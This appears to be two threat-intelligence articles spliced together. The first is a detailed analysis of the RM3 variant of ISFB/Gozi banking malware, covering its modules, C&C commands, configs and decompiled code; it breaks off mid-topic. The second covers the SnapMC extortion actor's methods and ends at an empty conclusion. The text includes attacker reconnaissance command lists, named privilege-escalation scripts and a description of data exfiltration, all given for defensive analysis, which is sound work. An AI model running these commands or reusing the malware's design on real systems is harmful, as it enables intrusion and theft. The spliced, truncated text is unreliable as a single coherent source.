Based on configs, similarities with the GoziAT TAs were seen. The crossovers were:
both infrastructure are using the .at TLD
subdomains and domains are using the same naming convention
Server ID is also different from the default one (12)
Default nameservers config
First seen when GoziAT was curiously quiet
An example loader.ini file for RM3.at is shown below:
But this RM3 infrastructure disappeared just a few weeks later and has never been seen again. It is not known if the TAs were satisfied with the product and its results and it remains one of the unexplained curiosities of this banking malware
But, we can say this marked the return of GoziAT, which was back on track with intense campaigns.
Other domains related to this short lived RM3 infrastructure were.
api.fiho.at
y1.rexa.at
cde.frame303.at
api.frame303.at
u2.inmax.at
cdn5.inmax.at
go.maso.at
f1.maso.at
Standard routine for other infrastructures
Meanwhile, a classic loader config will mostly need standard data like any other malware:
C&C domains (called hosts on the loader side)
Timeout values
Keys
The example below shows a typical loader.ini file from a more ‘classic’ infrastructure. This one is from Germany, but similar configurations were seen in the UK1, Australia/New Zealand1 and Italian infrastructures:
Active monitoring of current in-the-wild instances suggests that the RM3 TAs are progressively switching to the ransomware path. That is, they have not pushed any updates on the fraud side of their operations for a number of months (by not pushing any injects), but they are still maintaining their C&C infrastructure. All infrastructure has a cost and the fact they are maintaining their C&C infrastructure without executing traditional fraud is a strong indication they are changing their strategy to another source of income.
The tasks which are being pushed (and old ones since May 2020) are triage steps for selecting bots which could be used for internal lateral movement. This pattern of behaviour is becoming more evident everyday in the latest ongoing campaigns, where everyone seems to be targeted and the inject configurations have been totally removed.
As a reminder, over the past two years banking malware gangs in general have been seen to follow this trend. This is due to the declining fraud ecosystem in general, but also due to the increased difficulty in finding inject developers with the skills to develop effective fakes which this decline has also prompted.
How banking TAs can migrate from fraud to ransom (or any other businesses)
We consider RM3 to be the most advanced ISFB strain to date, and fraud tools can easily be switched into a malicious red team like strategy.
RM3 evolving to support two different use cases at the same time
Why is RM3 the most advanced ISFB strain?
As we said, we consider RM3 to be the most advanced ISFB variant we have seen. When we analyse the RM3 payload, there is a huge gap between it and its predecessors. There are multiple differences:
A new PE format called PX has been developed
The .bss section is slightly updated for storing RM3 static variables
A new structure called WD based on the J1/J2/J3/JJ ISFB File Join system for storing files
Architecture differences between ISFB v2 and RM3 payload (main sections discussed below)
PX Format
As mentioned, RM3 is designed to work with PX payloads (Portable eXecutable). This is an exotic file format created for, and only used with, this banking malware. The structure is not very different from the original PE format, with almost all sections, data directories and section tables remaining intact. Essentially, use of the new file format just requires malware to be re-crafted correctly in a new payload at the correct offset.
PX Header
BSS section
The bss section (Block Starting Symbol) is a critical data segment used by all strains of ISFB for storing uninitiated static local variables. These variables are encrypted and used for different interactions depending on the module in use.
In a compiled payload, this section is usually named “.bss0”. But evidence from a source code leak shows that this is originally named “.bss” in the source code. These comments also make it clear that this module is encrypted.
The encrypted .bss section
This is illustrated by the source code comments shown below:
// Original section name that will be created within a file
#define CS_SECTION_NAME ".bss0"
// The section will be renamed after the encryption completes.
// This is because we cannot use reserved section names aka ".rdata" or ".bss" during compile time.
#define CS_NEW_SECTION_NAME ".bss"
When working with ISFB, it is common to see the same mechanism or routine across multiple compiled builds or variants. However, it is still necessary to analyse them all in detail because slight adjustments are frequently introduced. Understanding these minor changes can help with troubleshooting and explain why scripts don’t work. The decryption routine in the bss section is a perfect example of this; it is almost identical to ISFB v2 variants, but the RM3 developers decided to tweak it just slightly by creating an XOR key in a different way – adding a FILE_HEADER.TimeDateStamp with the gs_Cookie (this information based on the ISFB leak).
Decrypted strings from the .bss section being parsed by IDA
Occasionally, it is possible to see a debugged and compiled version of RM3 in the wild. It is unknown if this behaviour is intended for some reason or simply a mistake by TA teams, but it is a gold mine for understanding more about the underlying code.
WD Struct
ISFB has its own way of storing and using embedded files. It uses a homemade structure that seems to change its name whenever there is a new strain or a major ISFB update:
FJ or J1 – Old ISFB era
J2 – Dreambot
J3 – ISFB v3 (Only seen in Japan)
JJ – ISFB v2 (v2.14+ – now)
WD – RM3 / Saigon
To get a better understanding of the latest structure in use, it is worth taking a quick look back at the active strains of ISFB v2 still known to use the JJ system.
The structure is pretty rudimentary and can be summarised like this:
With RM3, they decided to slightly rework the join file philosophy by creating a new structure called WD. This is basically just a rebranded concept; it just adds the JJ structure (seen above) and stores it as a pointer array.
The structure itself is really simple:
struct WD_Struct {
DWORD size;
WORD magic;
WORD flag;
JJ_Struct *jj;
} WD;
In allRM3 builds, these structures simply direct the malware to grab an average of at least 4 files†:
A PX loader
An RSA pubkey
An RM3 config
A wordlist that will be mainly used for create subkeys in the registry
† The amount of files is dependent on the loader stage or RM3 modules used. It is also based on the ISFB variant, as another file could be present which stores the langid value (which is basically the anti-cis feature for this banking malware).
Architecture
Every major ISFB variant has something that makes it unique in some way. For example, the notorious Dreambot was designed to work as a standalone payload; the whole loader stage walk-through was removed and bots were directly pointed at the correct controllers. This choice was mainly explained by the fact that this strain was designed to work as malware as a service. It is fairly standard right now to see malware developers developing specific features for TAs – if they are prepared to pay for them. In these agreements, TAs can be guaranteed some kind of exclusivity with a variant or feature. However, this business model does also increase the risk of misunderstanding and overlap in term of assigning ownership and responsibility. This is one of the reasons it is harder to get a clear picture of the activities happening between malware developers & TAs nowadays.
But to get back to the variant we are discussing here; RM3 pushed the ISFB modular plugin system to its maximum potential by introducing a range of elements into new modules that had never been seen before. These new modules included:
bl.dll
explorer.dll
rt.dll
netwrk.dll
These modules are linked together to recreate a modded client32.bin/client64.bin (modded from the client.bin seen in ISFB v2). This new architecture is much more complicated to debug or disassemble. In the end, however, we can split this malware into 4 main branches:
A modded client32.bin/client64.bin
A browser module designed to setup hooks and an SSL proxy (used for POST HTTP/HTTPS interception)
A remote shell (probably designed for initial assessments before starting lateral attacks)
A fraud arsenal toolkit (hidden VNC, SOCKs proxy, etc…)
RM3 Architecture
RM3 Loader – Major ISFB update? Or just a refactored code?
The loader is a minimalist plugin that contains only the required functions for doing three main tasks:
Contacting a loader C&C (which is called host), downloading critical RM3 modules and storing them into the registry (bl.dll, explorer.dll, rt.dll, netwrk.dll)
Setting up persistence†
Rebooting everything and making sure it has removed itself†.
An overview of the second stage loader
These functions are summarised in the following schematic.‡
† In the 3009XX build above, a TA can decide to setup the loader as persistent itself, or remove the payload.
‡ Of course, the loader has more details than could be mentioned here, but the schematic shows the main concepts for a basic understanding.
RM3 Network beacons – Hiding the beast behind simple URIs
C&C beacon requests have been adjusted from the standard ISFB v2 ones, by simplifying the process with just two default URI. These URIs are dynamic fields that can be configured from the loader and client config. This is something that older strains are starting to follow since build 250172.
When it switches to the controller side, RM3 saves HTTPS POST requests performed by the users. These are then used to create fake but legitimate looking paths.
Changing RM3 URI path dynamically
This ingenious trick makes RM3 really hard to catch behind the telemetry generated by the bot. To make short, whenever the user is browsing websites performing those specific requests, the malware is mimicking them by replacing the domain with the controller one.
If that wasn’t enough, the usual base64 beacons are now hidden as a data form and send by means of POST requests. When decrypted, these requests reveal this typical network communication.
Бот отправляет на сервер файлы следующего типа и формата (тип данных задаётся параметром type в POST-запросе):
SEND_ID_UNKNOWN 0 - неизвестно, используется только для тестирования
SEND_ID_FORM 1 - данные HTML-форм. ASCII-заголовок + форма бинарном виде, как есть
SEND_ID_FILE 2 - любой файл, так шлются найденные по маске файлы
SEND_ID_AUTH 3 - данные IE Basic Authentication, ASCII-заголовок + бинарные данные
SEND_ID_CERTS 4 - сертификаты. Файлы PFX упакованые в CAB или ZIP.
SEND_ID_COOKIES 5 - куки и SOL-файлы. Шлются со структурой каталогов. Упакованы в CAB или ZIP
SEND_ID_SYSINFO 6 - информация о системе. UTF8(16)-файл, упакованый в CAB или ZIP
SEND_ID_SCRSHOT 7 - скриншот. GIF-файл.
SEND_ID_LOG 8 - внутренний лог бота. TXT-файл.
SEND_ID_FTP 9 - инфа с грабера FTP. TXT-файл.
SEND_ID_IM 10 - инфа с грабера IM. TXT-файл.
SEND_ID_KEYLOG 11 - лог клавиатуры. TXT-файл.
SEND_ID_PAGE_REP 12 - нотификация о полной подмене страницы TXT-файл.
SEND_ID_GRAB 13 - сграбленый фрагмент контента. ASCII заголовок + контент, как он есть
Over time, they have created more fields:
New Command
ID
Description
SEND_ID_CMD
19
Results from the CMD_RUN command
SEND_ID_???
20
–
SEND_ID_CRASH
21
Crash dump
SEND_ID_HTTP
22
Send HTTP Logs
SEND_ID_ACC
23
Send credentials
SEND_ID_ANTIVIRUS
24
Send Antivirus info
Module list
Analysis indicates that any RM3 instance would have to include at least the following modules:
CRC
Module Name
PE Format
Stage
Description
–
–
MZ
–
1st stage RM3 loader
0xc535d8bf
loader.dll
PX
–
2nd stage RM3 loader
–
–
MZ
–
RM3 Startup module hidden in the shellcode
0x8576b0d0
bl.dll
PX
Host
RM3 Background Loader
0x224c6c42
explorer.dll
PX
Host
RM3 Mastermind
0xd6306e08
rt.dll
PX
Host
RM3 Runtime DLL – RM3 WinAPI/COM Module
0x45a0fcd0
netwrk.dll
PX
Host
RM3 Network API
0xe6954637
browser.dll
PX
Controller
Browser Grabber/HTTPS Interception
0x5f92dac2
iexplore.dll
PX
Controller
Internet explorer Hooking module
0x309d98ff
firefox.dll
PX
Controller
Firefox Hooking module
0x309d98ff
microsoftedgecp.dll
PX
Controller
Microsoft Edge Hooking module (old one)
0x9eff4536
chrome.dll
PX
Controller
Google chrome Hooking module
0x7b41e687
msedge.dll
PX
Controller
Microsoft Edge Hooking module (Chromium one)
0x27ed1635
keylog.dll
PX
Controller
Keylogging module
0x6bb59728
mail.dll
PX
Controller
Mail Grabber module
0x1c4f452a
vnc.dll
PX
Controller
VNC module
0x970a7584
sqlite.dll
PX
Controller
SQLITE Library required for some module
0xfe9c154b
ftp.dll
PX
Controller
FTP module
0xd9839650
socks.dll
PX
Controller
Socks module
0x1f8fde6b
cmdshell.dll
PX
Controller
Persistent remote shell module
Additionally, more configuration files ( .ini ) are used to store all the critical information implemented in RM3. Four different files are currently known:
CRC
Name
0x8fb1dde1
loader.ini
0x68c8691c
explorer.ini
0xd722afcb
client.ini†
0x68c8691c
vnc.ini
† CLIENT.INI is never intended to be seen in an RM3 binary, as it is intended to be received by the loader C&C (aka “the host”, based on its field name on configs). This is completely different from older ISFB strains, where the client.ini is stored in the client32.bin/client64.bin. So it means, if the loader c&c is offline, there is no option to get this crucial file
Moving this file is a clever move by the RM3 malware developers and the TAs using it as they have reduced the risk of having researcher bots in their ecosystem.
RM3 dependency madness
With client32.bin (from the more standard ISFB v2 form) technically not present itself but instead implemented as an accumulation of modules injected into a process, RM3 is drastically different from its predecessors. It has totally changed its micro-ecosystem by forcing all of its modules to interact with each other (except bl.dll) and as shown below.
All interactions between RM3 modules
These changes also slow down any in-depth analysis, as they make it way harder to analyse as a standalone module.
External calls from other RM3 modules (8576b0d0 and e695437)
RM3 Module 101
Thanks to the startup module launched by start.ps1 in the registry, a hidden shell worker is plugged into explorer.exe (not the explorer.dll module) that initialises a hooking instance for specific WinAPI/COM calls. This allows the banking malware to inject all its components into every child process coming from that Windows process. This strategy permits RM3 to have total control of all user interactions.
(*) PoV = Point of View
Looking at DllMain, the code hasn’t changed that much in the years since the ISFB leak.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
BOOL Ret = TRUE;
WINERROR Status = NO_ERROR;
Ret = 1;
if ( ul_reason_for_call ) {
if ( ul_reason_for_call == 1 && _InterlockedIncrement(&g_AttachCount) == 1 ) {
Status = ModuleStartup(hModule, lpReserved); // <- Main call
if ( Status ) {
SetLastError(Status);
Ret = 0;
}
}
}
else if ( !_InterlockedExchangeAdd(&g_AttachCount, 0xFFFFFFFF) ) {
ModuleCleanup();
}
return Ret;
}
It is only when we get to the ModuleStartup call that things start to become interesting. This code has been refactored and adjusted to the RM3 philosophy:
static WINERROR ModuleStartup(HMODULE hModule) {
WINERROR Status;
RM3_Struct RM3;
// Need mandatory RM3 Struct Variable, that contains everything
// By calling an export function from BL.DLL
RM3 = bl!GetRM3Struct();
// Decrypting the .bss section
// CsDecryptSection is the supposed name based on ISFB leak
Status = bl!CsDecryptSection(hModule, 0);
if ( (gs_Cookie ^ RM3->dCrc32ExeName) == PROCESSNAMEHASH )
Status = Startup()
return(Status);
}
This adjustment is pretty similar in all modules and can be summarised as three main steps:
Requesting from bl.dll a critical global structure (called RM3_struct for the purpose of this article) which has the minimal requirements for running the injected code smoothly. The structure itself changes based on which module it is. For example, bl.dll mostly uses it for recreating values that seem to be part of the PEB (hypothesis); explorer.dll uses this structure for storing timeout values and browsers.dll uses it for RM3 injects configurations.
Decrypting the .bss section.
Entering into the checking routine by using an ingenious mechanism:
The filename of the child process is converted into a JamCRC32 hash and compared with the one stored in the startup function. If it matches, the module starts its worker routine, otherwise it quits.
These are a just a few particular cases, but the philosophy of the RM3 Module startup is well represented here. It is a simple and clever move for monitoring user interactions, because it has control over everything coming from explorer.exe.
bl.dll – The backbone of RM3
The background loader is almost nothing and everything at the same time. It’s the root of the whole RM3 infrastructure when it’s fully installed and configured by the initial loader. Its focus is mainly to initialise RM3_Struct and permits and provides a fundamental RM3 API to all other modules:
Explorer.dll could be regarded as the opposite of the background loader. It is designed to manage all interactions of this banking malware, at any level:
Checking timeout timers that could lead to drastic changes in RM3 operations
Allowing and executing all tasks that RM3 is able to perform
Starting fundamental grabbing features
Download and update modules and configs
Launch modules
Modifying RM3 URIs dynamically
An overview of the RM3 explorer.dll module
In the task manager worker, the workaround looks like the following:
RM3 task manager implemented in explorer.dll
Interestingly, the RM3 developers abuse their own hash system (JAMCRC32) by shuffling hashes into very large amounts of conditions. By doing this, they create an ecosystem that is seemingly unique to each build. Because of this, it feels a major update has been performed on an RM3 module although technically it is just another anti-disassembly trick for greatly slowing down any in-depth analysis. On the other hand, this task manager is a gold mine for understanding how all the interactions between bots and the C&C are performed and how to filter them into multiple categories.
General command
General commands
CRC
Command
Description
0xdf43cd90
CRASH
Generate and send a crash report
0x274323e2
RESTART
Restart RM3
0xce54bcf5
REBOOT
Reboot system
Recording
CRC
Command
Description
0x746ce763
VIDEO
Start desktop recording of the victim machine
0x8de92b0d
SETVIDEO
VIDEO pivot condition
0x54a7c26c
SET_VIDEO
Preparing desktop recording
Updates
CRC
Command
Description
0xb82d4140
UPDATE_ALL
Forcing update for all module
0x4f278846
LOAD_UPDATE
Load & Execute and updated PX module
Tasks
CRC
Command
Description
0xaaa425c4
USETASKKEY
Use task.bin pubkey for decrypting upcoming tasks
Timeout settings
CRC
Command
Description
0x955879a6
SENDTIMEOUT
Timeout timer for receiving commands
0xd7a003c9
CONFIGTIMEOUT
Timeout timer for receiving inject config updates
0x7d30ee46
INITIMEOUT
Timeout timer for receiving INI config update
0x11271c7f
IDLEPERIOD
Timeout timer for bot inactivity
0x584e5925
HOSTSHIFTTIMEOUT
Timeout timer for switching C&C domain list
0x9dd1ccaf
STANDBYTIMEOUT
Timeout timer for switching primary C&C’s to Stand by ones
0x9957591
RUNCHECKTIMEOUT
Timeout timer for checking & run RM3 autorun
0x31277bd5
TASKTIMEOUT
Timeout timer for receiving a task request
Clearing
CRC
Command
Description
0xe3289ecb
CLEARCACHE
CLR_CACHE pivot condition
0xb9781fc7
CLR_CACHE
Clear all browser cache
0xa23fff87
CLR_LOGS
Clear all RM3 logs currently stored
0x213e71be
DEL_CONFIG
Remove requested RM3 inject config
HTTP
CRC
Command
Description
0x754c3c76
LOGHTTP
Intercept & log POST HTTP communication
0x6c451cb6
REMOVECSP
Remove CSP headers from HTTP
0x97da04de
MAXPOSTLENGTH
Clear all RM3 logs currently stored
Process execution
CRC
Command
Description
0x73d425ff
NEWPROCESS
Initialising RM3 routine
Backup
CRC
Command
Description
0x5e822676
STANDBY
Case condition if primary servers are not responding for X minutes
Data gathering
CRC
Command
Description
0x864b1e44
GET_CREDS
Collect credentials
0xdf794b64
GET_FILES
Collect files (grabber module)
0x2a77637a
GET_SYSINFO
Collect system information data
Main tasks
CRC
Command
Description
0x3889242
LOAD_CONFIG
Download and Load a requested config with specific arguments
0xdf794b64
GET_FILES
Download a DLL from a specific URL and load it into explorer.exe
0xae30e778
LOAD_EXE
Download an executable from a specific URL and load it
0xb204e7e0
LOAD_INI
Download and load an INI file from a specific URL
0xea0f4d48
LOAD_CMD
Load and Execute Shell module
0x6d1ef2c6
LOAD_FTP
Load and Execute FTP module with specific arguments
0x336845f8
LOAD_KEYLOG
Load and Execute keylog module with specific arguments
0xdb269b16
LOAD_MODULE
Load and Execute RM3 PX Module with specific arguments
0x1e84cd23
LOAD_SOCKS
Load and Execute socks module with specific arguments
0x45abeab3
LOAD_VNC
Load and Execute VNC module with specific arguments
Shell command
CRC
Command
Description
0xb88d3fdf
RUN_CMD
Execute specific command and send the output to the C&C
URI setup
CRC
Command
Description
0x9c3c1432
SET_URI
Change the URI path of the request
File storage
CRC
Command
Description
0xd8829500
STORE_GRAB
Save grabber content into temporary file
0x250de123
STORE_KEYLOG
Save keylog content into temporary file
0x863ecf42
STORE_MAIL
Save stolen mail credentials into temporary file
0x9b587bc4
STORE_HTTPLOG
Save stolen http interceptions into temporary file
0x36e4e464
STORE_ACC
Save stolen credentials into temporary file
Timeout system
With its timeout values stored into its rm3_struct, explorer.dll is able to manage every possible worker task launched and monitor them. Then, whenever one of the timers reaches the specified value, it can modify the behaviour of the malware (in most cases, avoiding unnecessary requests that could create noise and so increase the chances of detection).
COM Objects being inspected for possible timeout
Backup controllers
In the same way, explorer.dll also provides additional controllers which are called ‘stand by’ domains. The idea behind this is that, when principal controller C&Cs don’t respond, a module can automatically switch to this preset list. Those new domains are stored in explorer.ini.
{
"STANDBY": "standbydns1.tld","standbydns2.tld"
"STANDBYTIMEOUT": "60" // Timeout in minutes
}
In the example above, if the primary domain C&Cs did not respond after one hour, the request would automatically switch to the standby C&Cs.
Desktop recording and RM3 – An ingenious way to check bots
Rarely mentioned in the wild but actively used by TAs, RM3 is also able to record bot interactions. The video setup is stored in the client.ini file, which the bot receives from the controller domain.
"SETVIDEO": [
"30,", // 30 seconds
"8,", // 8 Level quality (min:1 - max:10)
"notipda" // Process name list
],
Behind “SETVIDEO”, only 3 values are required to setup video recording:
RM3 AVI recording setup
After being initialised, the task waits its turn to be launched. It can be triggered to work in multiple ways:
Detecting the use of specific keywords in a Windows process
Using RM3’s increased debugging telemetry to detect if something is crashing, either in the banking malware itself or in a deployed injects (although the ability to detect crashes in an inject is only hypothetical and has not been observed)
Recording user interactions with a bank account; the ability to record video is a relatively new but killer move on the part of the malware developers allowing them to check legitimate bots and get injects
The ability to record video depends only on “@VIDEO=” being cached by the browser module. It is not primarily seen at first glance when examining the config, but likely inside external injects parts.
@ ISFB Code leak
Вкладка Video - запись видео с экрана
Opcode = "VIDEO"
Url - задает шаблон URL страницы, для которой необходмо сделать запись видео с экрана
Target - (опционально) задает ключевое слово, при наличии которого в коде страницы будет сделана запись
Var - задаёт длительность записи в секундах
RM3 browser webinject module detecting if it needs to launch a recording session (or any other particular task).
RM3 and its remote shell module – a trump card for ransomware gangs
Banking malware having its own remote shell module changes the potential impact of infecting a corporate network drastically. This shell is completely custom to the malware and is specially designed. It is also significantly less detectable than other tools currently seen for starting lateral movement attacks due to its rarity. The combination of potentially much greater impact and lower detectability make this piece of code a trump card, particularly as they now look to migrate to a ransomware model.
Called cmdshell, this module isn’t exclusive to RM3 but has in fact, been part of ISFB since at least build v2.15. It has likely been of interest for TA groups in fields less focused on fraud since then. The inclusion of a remote shell obviously greatly increases the flexibility this malware family provides to its operators; but also, of course, makes it harder to ascertain the exact purpose of any one infection, or the motivation of its operators.
Cmdshell module being launched by the RM3 Task Manager
After being executed by the task command “LOAD_CMD”, the injected module installs a persistent remote shell which a TA can use to perform any kind of command they want.
RM3 cmdshell module creating the remote shell
As noted above, the inclusion of a shell gives great flexibility, but can certainly facilitate the work of at least two types of TA:
Fraudsters (if the VNC/SOCKS module isn’t working well, perhaps)
Malicious Red teams affiliated with ransomware gangs
It’s worth noting that this remote shell should not be confused with the RUN_CMD command. The RUN_CMD is used to instruct a bot to execute a simple command with the output saved and sent to the Controllers. It is also present as a simple condition:
RUN_CMD inside the RM3 Task Manager
Then following a standard I/O interaction:
Executing task in cmd console and saving results into an archive
But both RM3’s remote shell and the RUN_CMD can be an entry point for pushing other specialised tools like Cobalt Strike, Mimikatz or just simple PowerShell scripts. With this kind of flexibility, the main limitation on the impact of this malware is any given TA’s level of skill and their imagination.
Task.key – a new weapon in RM3’s encryption paranoia
Implemented sometime around Q2 2020, RM3 decided to add an additional layer of protection in its network communications by updating the RSA public key used to encrypt communications between bot and controller domains.
They designed a pivot condition (USETASKKEY) that decides which RSA.KEY and TASK.KEY will be used for decrypting the content from the C&C depending of the command/content received. We believed this choice has been developed for breaking researcher for emulating RM3 traffic.
Extra condition with USETASKKEY to avoid using the wrong RSA pubkey
RM3 – A banking malware designed to debug itself
As we’ve already noted, RM3 represents a significant step change from previous versions of ISFB. These changes extend from major architecture changes down to detailed functional changes and so can be expected to have involved considerable development and probably testing effort, as well. Whether or not the malware developers found the troubleshooting for the RM3 variant more difficult than previously, they also took the opportunity to include a troubleshooting feature. If RM3 experiences any issues, it is designed to dump the relevant process and send a report to the C&C. It’s expected that this would then be reported to the malware developers and so may explain why we now see new builds appearing in the wild rather faster than we have previously.
The task is initialised at the beginning of the explorer module startup with a simple workaround:
Address of the MiniDumpWritDump function from dbghelp.dll is stored
The path of the temporary dump file is stored in C://tmp/rm3.dmp
All these values are stored into a designed function and saved into the RM3 master struct
Crash dump being initialized and stored into the RM3 global structure
With everything now configured, RM3 is ready for two possible scenarios:
Voluntarily crashing itself with the command ‘CRASH’
Something goes wrong and so a specific classic error code triggers the function
RM3 executing the crash dump routine
Stolen Data – The (old) gold mine
Gathering interesting bots is a skill that most banking malware TAs have decent experience with after years of fraud. And nowadays, with the ransomware market exploding, this expertise probably also permits them to affiliate more easily with ransom crews (or even to have exclusivity in some cases).
In general, ISFB (v2 and v3) is a perfect playground as it can be used as a loader with more advanced telemetry than classic info-stealers. For example, Vidar, Taurus or Raccoon Stealer can’t compete at this level. This is because the way they are designed to work as a one-shot process (and be removed from the machine immediately afterwards) makes them much less competitive than the more advanced and flexible ISFB. Of course, in any given situation, this does not necessarily mean they are less important than banking malware. And we should keep in mind the fact that the Revil gang bought the source code for the Kpot stealer and it is likely this was so they could develop their own loader/stealer.
RM3 can be split into three main parts in terms of the grabber:
Files/folders
Browser credential harvesting
Mail
An overview of standard stealing feature developed by RM3
It’s worth noting that the mail module is an underrated feature that can provide a huge amount of information to a TA:
Many users store nearly everything in their email (including passwords and sensitive documents)
Mails can be stolen and resold to spammers for crafting legitimate mails with malicious attachments/links
Stealing/intercepting HTTP and HTTPS communication
RM3 implements an SSL Proxy and so is really effective at intercepting POST requests performed by the user. All of them are stored and sent every X minutes to the controllers.
RM3 browser module initializing the SSL proxy interception
RM3 SSL Proxy running on MsEdge
Whenever the user visits a website, part of the inject config will automatically replace strings or variables in the code (‘base’) with the new content (‘new_var’); this often includes a URL path from an inject C&C.
As if that wasn’t complicated enough, most of them are geofencedand it could be possible they manually allow the bot to get them (especially with the elite one). Indeed, this is another trick for avoiding analysts and researchers to get and report those scripts that cost millions to financial companies.
A typical inject entry in config.bin
A parser then modifies the variable ‘@ID@ and ‘@GROUP@’ to the correct values as stored in RM3_Struct and other structures relevant to the browsers.dll module.
Browser inject module parsing config.bin and replacing with respective botid and groupid
System information gathering
Gathering system information is simple with RM3:
Manually (using a specific RUN_CMD command)
Requesting info from a bot with GET_SYSINFO
Indeed, GET_SYSINFO is known and regularly used by ISFB actors (both active strains)
systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain
TAs in general are spending a lot of time (or are literally paying people) to inspect bots for the stolen data they have gathered. In this regard, bots can be split into one of the following groups:
Home bots (personal accounts)
Researcher bots
Corporate bots (compromised host from a company)
Over the past 6 months, ISFB v2 has been seen to be extremely active in term of updates. One purpose of these updates has been to help TAs filter their bots from the loader side directly and more easily. This filtering is not a new thing at all, but it is probably of more interest (and could have a greater impact) for malicious operations these days.
Microsoft Edge (Chromium) joining the targeted browser list
One critical aspect of any banking malware is the ability to hook into a browser so as to inject fakes and replacers in financial institution websites.
At the same time as the Task.key implementation, RM3 decided to implement a new browser in its targeted list: “MsEdge”. This was not random, but was a development choice driven by the sheer number of corporate computers migrating from Internet Explorer to Edge.
RM3 MsEdge startup module
This means that 5 browsers are currently targeted:
Internet Explorer
Microsoft Edge (Original)
Microsoft Edge (Chromium)
Mozilla Firefox
Google Chrome
Currently, RM3 doesn’t seem to interact with Opera. Given Opera’s low user share and almost non-existent corporate presence, it is not expected that the development of a new module/feature for Opera would have an ROI that was sufficiently attractive to the TAs and RM3 developers. Any development and debugging would be time consuming and could delay useful updates to existing modules already producing a reliable return.
RM3 and its homemade forked SQLITE module
A lot of this blogpost has been dedicated to discussing the innovative design and features in RM3. But perhaps the best example of the attention to detail displayed in the design and development of this malware is the custom SQLITE3 module that is included with RM3. Presumably driven by the need to extract credentials data from browsers (and related tasks), they have forked the original SQLite3 source code and refactored it to work in RM3.
Using SQLite is not a new thing, of course, as it was already noted in the ISFB leak.
Interestingly, the RM3 build is based on the original 3.8.6 build and has all the features and functions of the original version.
Because the background loader (bl.dll) is the only module within RM3 technically capable of performing allocation operations, they have simply integrated “free”, “malloc”, and “realloc” API calls with this backbone module.
What’s new with Build 300960?
Goodbye Serpent, Hello AES!
Around mid-march, RM3 pushed a major update by replacing the Serpent encryption with the good old AES 128 CBC. All locations where Serpent encryption was used, have been totally reworked so as to work with AES.
AES 128 CBC implementation in RM3
RM3 C&C response also reviewed
Before build 300960, RM3 treated data received from controllers as described below. Information was split into two encrypted parts (a header and a body) which are treated differently:
The encrypted head was decrypted with the public RSA key extracted from modules, to extract a Serpent key
This Serpent key was then used to decrypt the encrypted data in the body (this is a different key from client.ini and loader.ini).
This was the setup before build 300960:
Now, in the recently released 300960 build, with Serpent removed and AES implemented instead, the structure of the encrypted header has changed as indicated below:
The decrypted body data produced by this process is not in an entirely standard format. In fact, it’s compressed with the APlib library. But removing the first 0x14 bytes (or sometimes 0x4 bytes) and decompressing it, ensures that the final block is ready for analysis.
If it’s a DLL, it will be recognised with the PX format
If it’s web injects, it’s an archive that contains .sig files (that is, MAIN.SIG†)
If it’s tasks or config updates, these are in a classic raw ISFB config format
† SIG can probably be taken to mean ‘signature’
Changes in .ini files
Two fields have been added in the latest campaigns. Interestingly, these are not new RM3 features but old ones that have been present for quite some time.
Over the past few months NCC Group has observed an increasing number of data breach extortion cases, where the attacker steals data and threatens to publish said data online if the victim decides not to pay. Given the current threat landscape, most notable is the absence of ransomware or any technical attempt at disrupting the victim’s operations.
Within the data breach extortion investigations, we have identified a cluster of activities defining a relatively constant modus operandi described in this article. We track this adversary as SnapMC and have not yet been able to link it to any known threat actors. The name SnapMC is derived from the actor’s rapid attacks, generally completed in under 30 minutes, and the exfiltration tool mc.exe it uses.
Extortion emails threatening their recipients have become a trend over time. The lion’s share of these consists of empty threats sent by perpetrators hoping to profit easily without investing in an actual attack. In the extortion emails we have seen from SnapMC have given victims 24 hours to get in contact and 72 hours to negotiate. These deadlines are rarely abided by since we have seen the attacker to start increasing the pressure well before countdown hits zero. SnapMC includes a list of the stolen data as evidence that they have had access to the victim’s infrastructure. If the organization does not respond or negotiate within the given timeframe, the actor threatens to (or immediately does) publish the stolen data and informs the victim’s customers and various media outlets.
Modus Operandi
Initial Access
At the time of writing NCC Group’s Security Operations Centers (SOCs) have seen SnapMC scanning for multiple vulnerabilities in both webserver applications and VPN solutions. We have observed this actor successfully exploiting and stealing data from servers that were vulnerable to:
Remote code execution in Telerik UI for ASPX.NET [1]
SQL injections
After successfully exploiting a webserver application, the actor executes a payload to gain remote access through a reverse shell. Based on the observed payloads and characteristics the actor appears to use a publicly available Proof-of-Concept Telerik Exploit [2].
Directly afterwards PowerShell is started to perform some standard reconnaissance activity:
whoami
whoami /priv
wmic logicaldisk get caption,description,providername
net users /priv
Note: that in the last command the adversary used the ‘/priv’ option, which is not a valid option for the net users command.
Privilege Escalation
In most of the cases we analyzed the threat actor did not perform privilege escalation. However in one case we did observe SnapMC trying to escalate privileges by running a handful of PowerShell scripts:
Invoke-Nightmare [3]
Invoke-JuicyPotato [4]
Invoke-ServiceAbuse [4]
Invoke-EventVwrBypass [6]
Invoke-PrivescAudit [7]
Collection & Exfiltration
We observed the actor preparing for exfiltration by retrieving various tools to support data collection, such as 7zip and Invoke-SQLcmd scripts. Those, and artifacts related to the execution or usage of these tools, were stored in the following folders:
C:\Windows\Temp\
C:\Windows\Temp\Azure
C:\Windows\Temp\Vmware
SnapMC used the Invoke-SQLcmd PowerShell script to communicate with the SQL database and export data. The actor stored the exported data locally in CSV files and compressed those files with the 7zip archive utility.
The actor used the MinIO [8] client to exfiltrate the data. Using the PowerShell commandline, the actor configured the exfil location and key to use, which were stored in a config.json file. During the exfiltration, MinIO creates a temporary file in the working directory with the file extension […].par.minio.
First, initial access was generally achieved through known vulnerabilities, for which patches exist. Patching in a timely manner and keeping (internet connected) devices up-to-date is the most effective way to prevent falling victim to these types attacks. Make sure to identify where vulnerable software resides within your network by (regularly performing) vulnerability scanning.
Furthermore, third parties supplying software packages can make use of the vulnerable software as a component as well, leaving the vulnerability outside of your direct reach. Therefore, it is important to have an unambiguous mutual understanding and clearly defined agreements between your organization, and the software supplier about patch management and retention policies. The latter also applies to a possible obligation to have your supplier provide you with your systems for forensic and root cause analysis in case of an incident.
Worth mentioning, when reference testing the exploitability of specific versions of Telerik it became clear that when the software component resided behind a well configured Web Application Firewall (WAF), the exploit would be unsuccessful.
Finally, having properly implemented detection and incident response mechanisms and processes seriously increases the chance of successfully mitigating severe impact on your organization. Timely detection, and efficient response will reduce the damage even before it materializes.
Conclusion
